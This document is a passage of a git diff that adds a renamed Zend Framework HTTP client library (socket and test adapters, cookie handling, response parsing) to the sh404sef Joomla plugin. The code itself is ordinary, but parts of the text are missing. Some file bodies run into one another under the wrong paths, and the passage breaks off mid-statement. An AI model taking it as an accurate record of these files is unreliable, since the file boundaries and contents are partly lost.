+ } + + // Break if the connection ended prematurely + if (feof($this->socket)) break; + } + + // Fallback: just read the response until EOF + } else { + + do { + if($this->out_stream) { + if(@stream_copy_to_stream($this->socket, $this->out_stream) == 0) { + $this->_checkSocketReadTimeout(); + break; + } + } else { + $buff = @fread($this->socket, 8192); + if ($buff === false || strlen($buff) === 0) { + $this->_checkSocketReadTimeout(); + break; + } else { + $response .= $buff; + } + } + + } while (feof($this->socket) === false); + + $this->close(); + } + + // Close the connection if requested to do so by the server + if (isset($headers['connection']) && $headers['connection'] == 'close') { + $this->close(); + } + + return $response; + } + + /** + * Close the connection to the server + * + */ + public function close() + { + if (is_resource($this->socket)) @fclose($this->socket); + $this->socket = null; + $this->connected_to = array(null, null); + } + + /** + * Check if the socket has timed out - if so close connection and throw + * an exception + * + * @throws Zendshl_Http_Client_Adapter_Exception with READ_TIMEOUT code + */ + protected function _checkSocketReadTimeout() + { + if ($this->socket) { + $info = stream_get_meta_data($this->socket); + $timedout = $info['timed_out']; + if ($timedout) { + $this->close(); + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + "Read timed out after {$this->config['timeout']} seconds", + Zendshl_Http_Client_Adapter_Exception::READ_TIMEOUT + ); + } + } + } + + /** + * Set output stream for the response + * + * @param resource $stream + * @return Zendshl_Http_Client_Adapter_Socket + */ + public function setOutputStream($stream) + { + $this->out_stream = $stream; + return $this; + } + + /** + * Destructor: make sure the socket is disconnected + * + * If we are in persistent TCP mode, will not close the connection + * + */ + public function __destruct() + { + if (! $this->config['persistent']) { + if ($this->socket) $this->close(); + } + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Stream.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Stream.php new file mode 100644 index 00000000..1bc22978 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Stream.php @@ -0,0 +1,47 @@ +_nextRequestWillFail = (bool) $flag; + + return $this; + } + + /** + * Set the configuration array for the adapter + * + * @param Zendshl_Config | array $config + */ + public function setConfig($config = array()) + { + if ($config instanceof Zendshl_Config) { + $config = $config->toArray(); + + } elseif (! is_array($config)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + 'Array or Zendshl_Config object expected, got ' . gettype($config) + ); + } + + foreach ($config as $k => $v) { + $this->config[strtolower($k)] = $v; + } + } + + + /** + * Connect to the remote server + * + * @param string $host + * @param int $port + * @param boolean $secure + * @param int $timeout + * @throws Zendshl_Http_Client_Adapter_Exception + */ + public function connect($host, $port = 80, $secure = false) + { + if ($this->_nextRequestWillFail) { + $this->_nextRequestWillFail = false; + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Request failed'); + } + } + + /** + * Send request to the remote server + * + * @param string $method + * @param Zendshl_Uri_Http $uri + * @param string $http_ver + * @param array $headers + * @param string $body + * @return string Request as string + */ + public function write($method, $uri, $http_ver = '1.1', $headers = array(), $body = '') + { + $host = $uri->getHost(); + $host = (strtolower($uri->getScheme()) == 'https' ? 'sslv2://' . $host : $host); + + // Build request headers + $path = $uri->getPath(); + if ($uri->getQuery()) $path .= '?' . $uri->getQuery(); + $request = "{$method} {$path} HTTP/{$http_ver}\r\n"; + foreach ($headers as $k => $v) { + if (is_string($k)) $v = ucfirst($k) . ": $v"; + $request .= "$v\r\n"; + } + + // Add the request body + $request .= "\r\n" . $body; + + // Do nothing - just return the request as string + + return $request; + } + + /** + * Return the response set in $this->setResponse() + * + * @return string + */ + public function read() + { + if ($this->responseIndex >= count($this->responses)) { + $this->responseIndex = 0; + } + return $this->responses[$this->responseIndex++]; + } + + /** + * Close the connection (dummy) + * + */ + public function close() + { } + + /** + * Set the HTTP response(s) to be returned by this adapter + * + * @param Zendshl_Http_Response|array|string $response + */ + public function setResponse($response) + { + if ($response instanceof Zendshl_Http_Response) { + $response = $response->asString("\r\n"); + } + + $this->responses = (array)$response; + $this->responseIndex = 0; + } + + /** + * Add another response to the response buffer. + * + * @param string Zendshl_Http_Response|$response + */ + public function addResponse($response) + { + if ($response instanceof Zendshl_Http_Response) { + $response = $response->asString("\r\n"); + } + + $this->responses[] = $response; + } + + /** + * Sets the position of the response buffer. Selects which + * response will be returned on the next call to read(). + * + * @param integer $index + */ + public function setResponseIndex($index) + { + if ($index < 0 || $index >= count($this->responses)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + 'Index out of range of response buffer size'); + } + $this->responseIndex = $index; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Exception.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Exception.php new file mode 100644 index 00000000..7026e8d9 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Exception.php @@ -0,0 +1,37 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Cookie.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Cookie.php new file mode 100644 index 00000000..b2271b7e --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Cookie.php @@ -0,0 +1,425 @@ +name = (string) $name) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception('Cookies must have a name'); + } + + if (! $this->domain = (string) $domain) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception('Cookies must have a domain'); + } + + $this->value = (string) $value; + $this->expires = ($expires === null ? null : (int) $expires); + $this->path = ($path ? $path : '/'); + $this->secure = $secure; + } + + /** + * Get Cookie name + * + * @return string + */ + public function getName() + { + return $this->name; + } + + /** + * Get cookie value + * + * @return string + */ + public function getValue() + { + return $this->value; + } + + /** + * Get cookie domain + * + * @return string + */ + public function getDomain() + { + return $this->domain; + } + + /** + * Get the cookie path + * + * @return string + */ + public function getPath() + { + return $this->path; + } + + /** + * Get the expiry time of the cookie, or null if no expiry time is set + * + * @return int|null + */ + public function getExpiryTime() + { + return $this->expires; + } + + /** + * Check whether the cookie should only be sent over secure connections + * + * @return boolean + */ + public function isSecure() + { + return $this->secure; + } + + /** + * Check whether the cookie has expired + * + * Always returns false if the cookie is a session cookie (has no expiry time) + * + * @param int $now Timestamp to consider as "now" + * @return boolean + */ + public function isExpired($now = null) + { + if ($now === null) $now = time(); + if (is_int($this->expires) && $this->expires < $now) { + return true; + } else { + return false; + } + } + + /** + * Check whether the cookie is a session cookie (has no expiry time set) + * + * @return boolean + */ + public function isSessionCookie() + { + return ($this->expires === null); + } + + /** + * Checks whether the cookie should be sent or not in a specific scenario + * + * @param string|Zendshl_Uri_Http $uri URI to check against (secure, domain, path) + * @param boolean $matchSessionCookies Whether to send session cookies + * @param int $now Override the current time when checking for expiry time + * @return boolean + */ + public function match($uri, $matchSessionCookies = true, $now = null) + { + if (is_string ($uri)) { + $uri = Zendshl_Uri_Http::factory($uri); + } + + // Make sure we have a valid Zendshl_Uri_Http object + if (! ($uri->valid() && ($uri->getScheme() == 'http' || $uri->getScheme() =='https'))) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception('Passed URI is not a valid HTTP or HTTPS URI'); + } + + // Check that the cookie is secure (if required) and not expired + if ($this->secure && $uri->getScheme() != 'https') return false; + if ($this->isExpired($now)) return false; + if ($this->isSessionCookie() && ! $matchSessionCookies) return false; + + // Check if the domain matches + if (! self::matchCookieDomain($this->getDomain(), $uri->getHost())) { + return false; + } + + // Check that path matches using prefix match + if (! self::matchCookiePath($this->getPath(), $uri->getPath())) { + return false; + } + + // If we didn't die until now, return true. + return true; + } + + /** + * Get the cookie as a string, suitable for sending as a "Cookie" header in an + * HTTP request + * + * @return string + */ + public function __toString() + { + if ($this->encodeValue) { + return $this->name . '=' . urlencode($this->value) . ';'; + } + return $this->name . '=' . $this->value . ';'; + } + + /** + * Generate a new Cookie object from a cookie string + * (for example the value of the Set-Cookie HTTP header) + * + * @param string $cookieStr + * @param Zendshl_Uri_Http|string $refUri Reference URI for default values (domain, path) + * @param boolean $encodeValue Whether or not the cookie's value should be + * passed through urlencode/urldecode + * @return Zendshl_Http_Cookie A new Zendshl_Http_Cookie object or false on failure. + */ + public static function fromString($cookieStr, $refUri = null, $encodeValue = true) + { + // Set default values + if (is_string($refUri)) { + $refUri = Zendshl_Uri_Http::factory($refUri); + } + + $name = ''; + $value = ''; + $domain = ''; + $path = ''; + $expires = null; + $secure = false; + $parts = explode(';', $cookieStr); + + // If first part does not include '=', fail + if (strpos($parts[0], '=') === false) return false; + + // Get the name and value of the cookie + list($name, $value) = explode('=', trim(array_shift($parts)), 2); + $name = trim($name); + if ($encodeValue) { + $value = urldecode(trim($value)); + } + + // Set default domain and path + if ($refUri instanceof Zendshl_Uri_Http) { + $domain = $refUri->getHost(); + $path = $refUri->getPath(); + $path = substr($path, 0, strrpos($path, '/')); + } + + // Set other cookie parameters + foreach ($parts as $part) { + $part = trim($part); + if (strtolower($part) == 'secure') { + $secure = true; + continue; + } + + $keyValue = explode('=', $part, 2); + if (count($keyValue) == 2) { + list($k, $v) = $keyValue; + switch (strtolower($k)) { + case 'expires': + if(($expires = strtotime($v)) === false) { + /** + * The expiration is past Tue, 19 Jan 2038 03:14:07 UTC + * the maximum for 32-bit signed integer. Zendshl_Date + * can get around that limit. + * + * @see Zendshl_Date + */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Date.php'; + + $expireDate = new Zendshl_Date($v); + $expires = $expireDate->getTimestamp(); + } + break; + + case 'path': + $path = $v; + break; + + case 'domain': + $domain = $v; + break; + + default: + break; + } + } + } + + if ($name !== '') { + $ret = new self($name, $value, $domain, $expires, $path, $secure); + $ret->encodeValue = ($encodeValue) ? true : false; + return $ret; + } else { + return false; + } + } + + /** + * Check if a cookie's domain matches a host name. + * + * Used by Zendshl_Http_Cookie and Zendshl_Http_CookieJar for cookie matching + * + * @param string $cookieDomain + * @param string $host + * + * @return boolean + */ + public static function matchCookieDomain($cookieDomain, $host) + { + if (! $cookieDomain) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("\$cookieDomain is expected to be a cookie domain"); + } + + if (! $host) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("\$host is expected to be a host name"); + } + + $cookieDomain = strtolower($cookieDomain); + $host = strtolower($host); + + if ($cookieDomain[0] == '.') { + $cookieDomain = substr($cookieDomain, 1); + } + + // Check for either exact match or suffix match + return ($cookieDomain == $host || + preg_match('/\.' . preg_quote($cookieDomain) . '$/', $host)); + } + + /** + * Check if a cookie's path matches a URL path + * + * Used by Zendshl_Http_Cookie and Zendshl_Http_CookieJar for cookie matching + * + * @param string $cookiePath + * @param string $path + * @return boolean + */ + public static function matchCookiePath($cookiePath, $path) + { + if (! $cookiePath) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("\$cookiePath is expected to be a cookie path"); + } + + if (! $path) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("\$path is expected to be a host name"); + } + + return (strpos($path, $cookiePath) === 0); + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/CookieJar.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/CookieJar.php new file mode 100644 index 00000000..0b0bdbeb --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/CookieJar.php @@ -0,0 +1,406 @@ +getDomain(); + $path = $cookie->getPath(); + if (! isset($this->cookies[$domain])) $this->cookies[$domain] = array(); + if (! isset($this->cookies[$domain][$path])) $this->cookies[$domain][$path] = array(); + $this->cookies[$domain][$path][$cookie->getName()] = $cookie; + $this->_rawCookies[] = $cookie; + } else { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception('Supplient argument is not a valid cookie string or object'); + } + } + + /** + * Parse an HTTP response, adding all the cookies set in that response + * to the cookie jar. + * + * @param Zendshl_Http_Response $response + * @param Zendshl_Uri_Http|string $ref_uri Requested URI + * @param boolean $encodeValue + */ + public function addCookiesFromResponse($response, $ref_uri, $encodeValue = true) + { + if (! $response instanceof Zendshl_Http_Response) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception('$response is expected to be a Response object, ' . + gettype($response) . ' was passed'); + } + + $cookie_hdrs = $response->getHeader('Set-Cookie'); + + if (is_array($cookie_hdrs)) { + foreach ($cookie_hdrs as $cookie) { + $this->addCookie($cookie, $ref_uri, $encodeValue); + } + } elseif (is_string($cookie_hdrs)) { + $this->addCookie($cookie_hdrs, $ref_uri, $encodeValue); + } + } + + /** + * Get all cookies in the cookie jar as an array + * + * @param int $ret_as Whether to return cookies as objects of Zendshl_Http_Cookie or as strings + * @return array|string + */ + public function getAllCookies($ret_as = self::COOKIE_OBJECT) + { + $cookies = $this->_flattenCookiesArray($this->cookies, $ret_as); + return $cookies; + } + + /** + * Return an array of all cookies matching a specific request according to the request URI, + * whether session cookies should be sent or not, and the time to consider as "now" when + * checking cookie expiry time. + * + * @param string|Zendshl_Uri_Http $uri URI to check against (secure, domain, path) + * @param boolean $matchSessionCookies Whether to send session cookies + * @param int $ret_as Whether to return cookies as objects of Zendshl_Http_Cookie or as strings + * @param int $now Override the current time when checking for expiry time + * @return array|string + */ + public function getMatchingCookies($uri, $matchSessionCookies = true, + $ret_as = self::COOKIE_OBJECT, $now = null) + { + if (is_string($uri)) $uri = Zendshl_Uri::factory($uri); + if (! $uri instanceof Zendshl_Uri_Http) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("Invalid URI string or object passed"); + } + + // First, reduce the array of cookies to only those matching domain and path + $cookies = $this->_matchDomain($uri->getHost()); + $cookies = $this->_matchPath($cookies, $uri->getPath()); + $cookies = $this->_flattenCookiesArray($cookies, self::COOKIE_OBJECT); + + // Next, run Cookie->match on all cookies to check secure, time and session mathcing + $ret = array(); + foreach ($cookies as $cookie) + if ($cookie->match($uri, $matchSessionCookies, $now)) + $ret[] = $cookie; + + // Now, use self::_flattenCookiesArray again - only to convert to the return format ;) + $ret = $this->_flattenCookiesArray($ret, $ret_as); + + return $ret; + } + + /** + * Get a specific cookie according to a URI and name + * + * @param Zendshl_Uri_Http|string $uri The uri (domain and path) to match + * @param string $cookie_name The cookie's name + * @param int $ret_as Whether to return cookies as objects of Zendshl_Http_Cookie or as strings + * @return Zendshl_Http_Cookie|string + */ + public function getCookie($uri, $cookie_name, $ret_as = self::COOKIE_OBJECT) + { + if (is_string($uri)) { + $uri = Zendshl_Uri::factory($uri); + } + + if (! $uri instanceof Zendshl_Uri_Http) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception('Invalid URI specified'); + } + + // Get correct cookie path + $path = $uri->getPath(); + $path = substr($path, 0, strrpos($path, '/')); + if (! $path) $path = '/'; + + if (isset($this->cookies[$uri->getHost()][$path][$cookie_name])) { + $cookie = $this->cookies[$uri->getHost()][$path][$cookie_name]; + + switch ($ret_as) { + case self::COOKIE_OBJECT: + return $cookie; + break; + + case self::COOKIE_STRING_ARRAY: + case self::COOKIE_STRING_CONCAT: + return $cookie->__toString(); + break; + + default: + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("Invalid value passed for \$ret_as: {$ret_as}"); + break; + } + } else { + return false; + } + } + + /** + * Helper function to recursivly flatten an array. Shoud be used when exporting the + * cookies array (or parts of it) + * + * @param Zendshl_Http_Cookie|array $ptr + * @param int $ret_as What value to return + * @return array|string + */ + protected function _flattenCookiesArray($ptr, $ret_as = self::COOKIE_OBJECT) { + if (is_array($ptr)) { + $ret = ($ret_as == self::COOKIE_STRING_CONCAT ? '' : array()); + foreach ($ptr as $item) { + if ($ret_as == self::COOKIE_STRING_CONCAT) { + $ret .= $this->_flattenCookiesArray($item, $ret_as); + } else { + $ret = array_merge($ret, $this->_flattenCookiesArray($item, $ret_as)); + } + } + return $ret; + } elseif ($ptr instanceof Zendshl_Http_Cookie) { + switch ($ret_as) { + case self::COOKIE_STRING_ARRAY: + return array($ptr->__toString()); + break; + + case self::COOKIE_STRING_CONCAT: + return $ptr->__toString(); + break; + + case self::COOKIE_OBJECT: + default: + return array($ptr); + break; + } + } + + return null; + } + + /** + * Return a subset of the cookies array matching a specific domain + * + * @param string $domain + * @return array + */ + protected function _matchDomain($domain) + { + $ret = array(); + + foreach (array_keys($this->cookies) as $cdom) { + if (Zendshl_Http_Cookie::matchCookieDomain($cdom, $domain)) { + $ret[$cdom] = $this->cookies[$cdom]; + } + } + + return $ret; + } + + /** + * Return a subset of a domain-matching cookies that also match a specified path + * + * @param array $dom_array + * @param string $path + * @return array + */ + protected function _matchPath($domains, $path) + { + $ret = array(); + + foreach ($domains as $dom => $paths_array) { + foreach (array_keys($paths_array) as $cpath) { + if (Zendshl_Http_Cookie::matchCookiePath($cpath, $path)) { + if (! isset($ret[$dom])) { + $ret[$dom] = array(); + } + + $ret[$dom][$cpath] = $paths_array[$cpath]; + } + } + } + + return $ret; + } + + /** + * Create a new CookieJar object and automatically load into it all the + * cookies set in an Http_Response object. If $uri is set, it will be + * considered as the requested URI for setting default domain and path + * of the cookie. + * + * @param Zendshl_Http_Response $response HTTP Response object + * @param Zendshl_Uri_Http|string $uri The requested URI + * @return Zendshl_Http_CookieJar + * @todo Add the $uri functionality. + */ + public static function fromResponse(Zendshl_Http_Response $response, $ref_uri) + { + $jar = new self(); + $jar->addCookiesFromResponse($response, $ref_uri); + return $jar; + } + + /** + * Required by Countable interface + * + * @return int + */ + public function count() + { + return count($this->_rawCookies); + } + + /** + * Required by IteratorAggregate interface + * + * @return ArrayIterator + */ + public function getIterator() + { + return new ArrayIterator($this->_rawCookies); + } + + /** + * Tells if the jar is empty of any cookie + * + * @return bool + */ + public function isEmpty() + { + return count($this) == 0; + } + + /** + * Empties the cookieJar of any cookie + * + * @return Zendshl_Http_CookieJar + */ + public function reset() + { + $this->cookies = $this->_rawCookies = array(); + return $this; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Exception.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Exception.php new file mode 100644 index 00000000..aab52178 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Exception.php @@ -0,0 +1,37 @@ + 'Continue', + 101 => 'Switching Protocols', + + // Success 2xx + 200 => 'OK', + 201 => 'Created', + 202 => 'Accepted', + 203 => 'Non-Authoritative Information', + 204 => 'No Content', + 205 => 'Reset Content', + 206 => 'Partial Content', + + // Redirection 3xx + 300 => 'Multiple Choices', + 301 => 'Moved Permanently', + 302 => 'Found', // 1.1 + 303 => 'See Other', + 304 => 'Not Modified', + 305 => 'Use Proxy', + // 306 is deprecated but reserved + 307 => 'Temporary Redirect', + + // Client Error 4xx + 400 => 'Bad Request', + 401 => 'Unauthorized', + 402 => 'Payment Required', + 403 => 'Forbidden', + 404 => 'Not Found', + 405 => 'Method Not Allowed', + 406 => 'Not Acceptable', + 407 => 'Proxy Authentication Required', + 408 => 'Request Timeout', + 409 => 'Conflict', + 410 => 'Gone', + 411 => 'Length Required', + 412 => 'Precondition Failed', + 413 => 'Request Entity Too Large', + 414 => 'Request-URI Too Long', + 415 => 'Unsupported Media Type', + 416 => 'Requested Range Not Satisfiable', + 417 => 'Expectation Failed', + + // Server Error 5xx + 500 => 'Internal Server Error', + 501 => 'Not Implemented', + 502 => 'Bad Gateway', + 503 => 'Service Unavailable', + 504 => 'Gateway Timeout', + 505 => 'HTTP Version Not Supported', + 509 => 'Bandwidth Limit Exceeded' + ); + + /** + * The HTTP version (1.0, 1.1) + * + * @var string + */ + protected $version; + + /** + * The HTTP response code + * + * @var int + */ + protected $code; + + /** + * The HTTP response code as string + * (e.g. 'Not Found' for 404 or 'Internal Server Error' for 500) + * + * @var string + */ + protected $message; + + /** + * The HTTP response headers array + * + * @var array + */ + protected $headers = array(); + + /** + * The HTTP response body + * + * @var string + */ + protected $body; + + /** + * HTTP response constructor + * + * In most cases, you would use Zendshl_Http_Response::fromString to parse an HTTP + * response string and create a new Zendshl_Http_Response object. + * + * NOTE: The constructor no longer accepts nulls or empty values for the code and + * headers and will throw an exception if the passed values do not form a valid HTTP + * responses. + * + * If no message is passed, the message will be guessed according to the response code. + * + * @param int $code Response code (200, 404, ...) + * @param array $headers Headers array + * @param string $body Response body + * @param string $version HTTP version + * @param string $message Response code as text + * @throws Zendshl_Http_Exception + */ + public function __construct($code, array $headers, $body = null, $version = '1.1', $message = null) + { + // Make sure the response code is valid and set it + if (self::responseCodeAsText($code) === null) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("{$code} is not a valid HTTP response code"); + } + + $this->code = $code; + + foreach ($headers as $name => $value) { + if (is_int($name)) { + $header = explode(":", $value, 2); + if (count($header) != 2) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("'{$value}' is not a valid HTTP header"); + } + + $name = trim($header[0]); + $value = trim($header[1]); + } + + $this->headers[ucwords(strtolower($name))] = $value; + } + + // Set the body + $this->body = $body; + + // Set the HTTP version + if (! preg_match('|^\d\.\d$|', $version)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Exception.php'; + throw new Zendshl_Http_Exception("Invalid HTTP response version: $version"); + } + + $this->version = $version; + + // If we got the response message, set it. Else, set it according to + // the response code + if (is_string($message)) { + $this->message = $message; + } else { + $this->message = self::responseCodeAsText($code); + } + } + + /** + * Check whether the response is an error + * + * @return boolean + */ + public function isError() + { + $restype = floor($this->code / 100); + if ($restype == 4 || $restype == 5) { + return true; + } + + return false; + } + + /** + * Check whether the response in successful + * + * @return boolean + */ + public function isSuccessful() + { + $restype = floor($this->code / 100); + if ($restype == 2 || $restype == 1) { // Shouldn't 3xx count as success as well ??? + return true; + } + + return false; + } + + /** + * Check whether the response is a redirection + * + * @return boolean + */ + public function isRedirect() + { + $restype = floor($this->code / 100); + if ($restype == 3) { + return true; + } + + return false; + } + + /** + * Get the response body as string + * + * This method returns the body of the HTTP response (the content), as it + * should be in it's readable version - that is, after decoding it (if it + * was decoded), deflating it (if it was gzip compressed), etc. + * + * If you want to get the raw body (as transfered on wire) use + * $this->getRawBody() instead. + * + * @return string + */ + public function getBody() + { + $body = ''; + + // Decode the body if it was transfer-encoded + switch (strtolower($this->getHeader('transfer-encoding'))) { + + // Handle chunked body + case 'chunked': + $body = self::decodeChunkedBody($this->body); + break; + + // No transfer encoding, or unknown encoding extension: + // return body as is + default: + $body = $this->body; + break; + } + + // Decode any content-encoding (gzip or deflate) if needed + switch (strtolower($this->getHeader('content-encoding'))) { + + // Handle gzip encoding + case 'gzip': + $body = self::decodeGzip($body); + break; + + // Handle deflate encoding + case 'deflate': + $body = self::decodeDeflate($body); + break; + + default: + break; + } + + return $body; + } + + /** + * Get the raw response body (as transfered "on wire") as string + * + * If the body is encoded (with Transfer-Encoding, not content-encoding - + * IE "chunked" body), gzip compressed, etc. it will not be decoded. + * + * @return string + */ + public function getRawBody() + { + return $this->body; + } + + /** + * Get the HTTP version of the response + * + * @return string + */ + public function getVersion() + { + return $this->version; + } + + /** + * Get the HTTP response status code + * + * @return int + */ + public function getStatus() + { + return $this->code; + } + + /** + * Return a message describing the HTTP response code + * (Eg. "OK", "Not Found", "Moved Permanently") + * + * @return string + */ + public function getMessage() + { + return $this->message; + } + + /** + * Get the response headers + * + * @return array + */ + public function getHeaders() + { + return $this->headers; + } + + /** + * Get a specific header as string, or null if it is not set + * + * @param string$header + * @return string|array|null + */ + public function getHeader($header) + { + $header = ucwords(strtolower($header)); + if (! is_string($header) || ! isset($this->headers[$header])) return null; + + return $this->headers[$header]; + } + + /** + * Get all headers as string + * + * @param boolean $status_line Whether to return the first status line (IE "HTTP 200 OK") + * @param string $br Line breaks (eg. "\n", "\r\n", "
    ") + * @return string + */ + public function getHeadersAsString($status_line = true, $br = "\n") + { + $str = ''; + + if ($status_line) { + $str = "HTTP/{$this->version} {$this->code} {$this->message}{$br}"; + } + + // Iterate over the headers and stringify them + foreach ($this->headers as $name => $value) + { + if (is_string($value)) + $str .= "{$name}: {$value}{$br}"; + + elseif (is_array($value)) { + foreach ($value as $subval) { + $str .= "{$name}: {$subval}{$br}"; + } + } + } + + return $str; + } + + /** + * Get the entire response as string + * + * @param string $br Line breaks (eg. "\n", "\r\n", "
    ") + * @return string + */ + public function asString($br = "\n") + { + return $this->getHeadersAsString(true, $br) . $br . $this->getRawBody(); + } + + /** + * Implements magic __toString() + * + * @return string + */ + public function __toString() + { + return $this->asString(); + } + + /** + * A convenience function that returns a text representation of + * HTTP response codes. Returns 'Unknown' for unknown codes. + * Returns array of all codes, if $code is not specified. + * + * Conforms to HTTP/1.1 as defined in RFC 2616 (except for 'Unknown') + * See http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10 for reference + * + * @param int $code HTTP response code + * @param boolean $http11 Use HTTP version 1.1 + * @return string + */ + public static function responseCodeAsText($code = null, $http11 = true) + { + $messages = self::$messages; + if (! $http11) $messages[302] = 'Moved Temporarily'; + + if ($code === null) { + return $messages; + } elseif (isset($messages[$code])) { + return $messages[$code]; + } else { + return 'Unknown'; + } + } + + /** + * Extract the response code from a response string + * + * @param string $response_str + * @return int + */ + public static function extractCode($response_str) + { + preg_match("|^HTTP/[\d\.x]+ (\d+)|", $response_str, $m); + + if (isset($m[1])) { + return (int) $m[1]; + } else { + return false; + } + } + + /** + * Extract the HTTP message from a response + * + * @param string $response_str + * @return string + */ + public static function extractMessage($response_str) + { + preg_match("|^HTTP/[\d\.x]+ \d+ ([^\r\n]+)|", $response_str, $m); + + if (isset($m[1])) { + return $m[1]; + } else { + return false; + } + } + + /** + * Extract the HTTP version from a response + * + * @param string $response_str + * @return string + */ + public static function extractVersion($response_str) + { + preg_match("|^HTTP/([\d\.x]+) \d+|", $response_str, $m); + + if (isset($m[1])) { + return $m[1]; + } else { + return false; + } + } + + /** + * Extract the headers from a response string + * + * @param string $response_str + * @return array + */ + public static function extractHeaders($response_str) + { + $headers = array(); + + // First, split body and headers + $parts = preg_split('|(?:\r?\n){2}|m', $response_str, 2); + if (! $parts[0]) return $headers; + + // Split headers part to lines + $lines = explode("\n", $parts[0]); + unset($parts); + $last_header = null; + + foreach($lines as $line) { + $line = trim($line, "\r\n"); + if ($line == "") break; + + // Locate headers like 'Location: ...' and 'Location:...' (note the missing space) + if (preg_match("|^([\w-]+):\s*(.+)|", $line, $m)) { + unset($last_header); + $h_name = strtolower($m[1]); + $h_value = $m[2]; + + if (isset($headers[$h_name])) { + if (! is_array($headers[$h_name])) { + $headers[$h_name] = array($headers[$h_name]); + } + + $headers[$h_name][] = $h_value; + } else { + $headers[$h_name] = $h_value; + } + $last_header = $h_name; + } elseif (preg_match("|^\s+(.+)$|", $line, $m) && $last_header !== null) { + if (is_array($headers[$last_header])) { + end($headers[$last_header]); + $last_header_key = key($headers[$last_header]); + $headers[$last_header][$last_header_key] .= $m[1]; + } else { + $headers[$last_header] .= $m[1]; + } + } + } + + return $headers; + } + + /** + * Extract the body from a response string + * + * @param string $response_str + * @return string + */ + public static function extractBody($response_str) + { + $parts = preg_split('|(?:\r?\n){2}|m', $response_str, 2); + if (isset($parts[1])) { + return $parts[1]; + } + return ''; + } + + /** + * Decode a "chunked" transfer-encoded body and return the decoded text + * + * @param string $body + * @return string + */ + public static function decodeChunkedBody($body) + { + $decBody = ''; + + // If mbstring overloads substr and strlen functions, we have to + // override it's internal encoding + if (function_exists('mb_internal_encoding') && + ((int) ini_get('mbstring.func_overload')) & 2) { + + $mbIntEnc = mb_internal_encoding(); + mb_internal_encoding('ASCII'); + } + + while 